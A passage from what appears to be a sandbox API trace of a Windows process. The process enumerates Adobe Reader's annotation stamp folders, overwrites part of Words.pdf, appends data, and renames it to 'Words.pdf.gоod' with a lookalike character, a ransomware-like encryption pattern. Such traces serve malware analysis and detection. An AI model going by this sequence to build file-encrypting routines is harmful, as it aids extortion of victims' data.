ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.373] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x389535d8, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.373] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0105.373] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.373] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0105.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0105.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35adb0) returned 1 [0105.374] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps", nBufferLength=0x105, lpBuffer=0x1f35a850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps", lpFilePart=0x0) returned 0x51 [0105.374] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x1f35aad0 | out: lpFindFileData=0x1f35aad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.374] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.374] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0105.375] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0105.375] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.375] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acf0) returned 1 [0105.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acb0) returned 1 [0105.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35adb0) returned 1 [0105.375] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps", nBufferLength=0x105, lpBuffer=0x1f35a850, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps", lpFilePart=0x0) returned 0x51 [0105.375] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x1f35aad0 | out: lpFindFileData=0x1f35aad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.375] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x389535d8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38979854, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.375] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0105.375] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 1 [0105.376] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35aa90 | out: lpFindFileData=0x1f35aa90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772, dwReserved0=0x0, dwReserved1=0x0, cFileName="Words.pdf", cAlternateFileName="")) returned 0 [0105.376] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acf0) returned 1 [0105.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35acb0) returned 1 [0105.376] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", nBufferLength=0x105, lpBuffer=0x1f35a690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", lpFilePart=0x0) returned 0x5b [0105.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35ab60) returned 1 [0105.376] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), fInfoLevelId=0x0, lpFileInformation=0x34f6330 | out: lpFileInformation=0x34f6330*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1b772)) returned 1 [0105.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35ab20) returned 1 [0105.376] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", nBufferLength=0x105, lpBuffer=0x1f35a540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", lpFilePart=0x0) returned 0x5b [0105.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35aa60) returned 1 [0105.376] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.376] GetFileType (hFile=0x7dc) returned 0x1 [0105.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a9d0) returned 1 [0105.377] GetFileType (hFile=0x7dc) returned 0x1 [0105.377] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35abb8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35abb8*=0) returned 0x1000 [0105.377] ReadFile (in: hFile=0x7dc, lpBuffer=0x34f6788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ab88, lpOverlapped=0x0 | out: lpBuffer=0x34f6788*, lpNumberOfBytesRead=0x1f35ab88*=0x1000, lpOverlapped=0x0) returned 1 [0105.378] CloseHandle (hObject=0x7dc) returned 1 [0105.379] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", nBufferLength=0x105, lpBuffer=0x1f35a540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", lpFilePart=0x0) returned 0x5b [0105.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35aa60) returned 1 [0105.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.379] GetFileType (hFile=0x7dc) returned 0x1 [0105.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a9d0) returned 1 [0105.379] GetFileType (hFile=0x7dc) returned 0x1 [0105.379] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35abb8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35abb8*=0) returned 0x1b772 [0105.379] WriteFile (in: hFile=0x7dc, lpBuffer=0x34f7fb0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35aaa8, lpOverlapped=0x0 | out: lpBuffer=0x34f7fb0*, lpNumberOfBytesWritten=0x1f35aaa8*=0x10, lpOverlapped=0x0) returned 1 [0105.380] CloseHandle (hObject=0x7dc) returned 1 [0105.381] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", nBufferLength=0x105, lpBuffer=0x1f35a540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", lpFilePart=0x0) returned 0x5b [0105.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35aa60) returned 1 [0105.381] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.381] GetFileType (hFile=0x7dc) returned 0x1 [0105.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a9d0) returned 1 [0105.381] GetFileType (hFile=0x7dc) returned 0x1 [0105.381] ReadFile (in: hFile=0x7dc, lpBuffer=0x34fa360, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ab38, lpOverlapped=0x0 | out: lpBuffer=0x34fa360*, lpNumberOfBytesRead=0x1f35ab38*=0x1000, lpOverlapped=0x0) returned 1 [0105.455] CloseHandle (hObject=0x7dc) returned 1 [0105.455] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", nBufferLength=0x105, lpBuffer=0x1f35a540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", lpFilePart=0x0) returned 0x5b [0105.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35aa60) returned 1 [0105.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.456] GetFileType (hFile=0x7dc) returned 0x1 [0105.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a9d0) returned 1 [0105.456] GetFileType (hFile=0x7dc) returned 0x1 [0105.456] WriteFile (in: hFile=0x7dc, lpBuffer=0x34f9098*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35abe8, lpOverlapped=0x0 | out: lpBuffer=0x34f9098*, lpNumberOfBytesWritten=0x1f35abe8*=0x1010, lpOverlapped=0x0) returned 1 [0105.456] CloseHandle (hObject=0x7dc) returned 1 [0105.456] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", nBufferLength=0x105, lpBuffer=0x1f35a690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf", lpFilePart=0x0) returned 0x5b [0105.456] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f35a690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.gоod", lpFilePart=0x0) returned 0x60 [0105.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35ab20) returned 1 [0105.456] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f35ac00 | out: lpFileInformation=0x1f35ac00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x389535d8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3b122d29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b782)) returned 1 [0105.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35aae0) returned 1 [0105.456] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\Words.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\annotations\\stamps\\words.pdf.gоod")) returned 1 [0105.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a380) returned 1 [0105.457] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU", nBufferLength=0x105, lpBuffer=0x1f359e20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU", lpFilePart=0x0) returned 0x55 [0105.457] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x1f35a0a0 | out: lpFindFileData=0x1f35a0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.458] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.458] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0105.458] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0105.458] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0105.458] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.458] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a2c0) returned 1 [0105.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35a280) returned 1 [0105.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35a380) returned 1 [0105.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU", nBufferLength=0x105, lpBuffer=0x1f359e20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU", lpFilePart=0x0) returned 0x55 [0105.459] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x1f35a0a0 | out: lpFindFileData=0x1f35a0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38979854, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3899fa98, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38979854, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0105.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0105.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0105.459] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f35a060 | out: lpFindFileData=0x1f35a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3899fa98, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, 